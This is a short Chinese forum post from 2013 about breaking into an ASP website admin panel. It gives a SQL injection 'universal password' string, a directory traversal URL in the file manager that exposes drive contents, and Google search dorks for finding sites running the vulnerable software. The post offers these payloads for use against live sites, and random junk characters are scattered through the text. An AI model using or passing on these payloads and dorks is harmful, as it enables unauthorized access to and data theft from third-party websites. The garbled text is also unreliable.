后台万能密码 'or'='or'6 F9 \& g% _- B5 N
, y: y+ J6 R9 H2 J: f5 P后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！5 I1 T# n0 o/ s( q- d
admin/uploadfile.asp?currentFolder=/upfiles/../3 c/ Y v, ^" C3 i
# n( M6 W$ y i# H$ W5 _! d3 P4 A
漏洞证明：
% D5 \; H; J/ x% w4 k& B" y; R# ]( e& Y) b X: d9 [4 G: p
谷歌：inurl:type.asp?id=1 新闻中心
) h+ ?; c/ ?( A" g C8 L或者 ：inurl:download_ok.asp?1 C' J4 R q- u
$ g3 K' M3 A8 ?, w7 F9 D; q
|
发表于 2013-3-14 20:17:32
收藏
支持
反对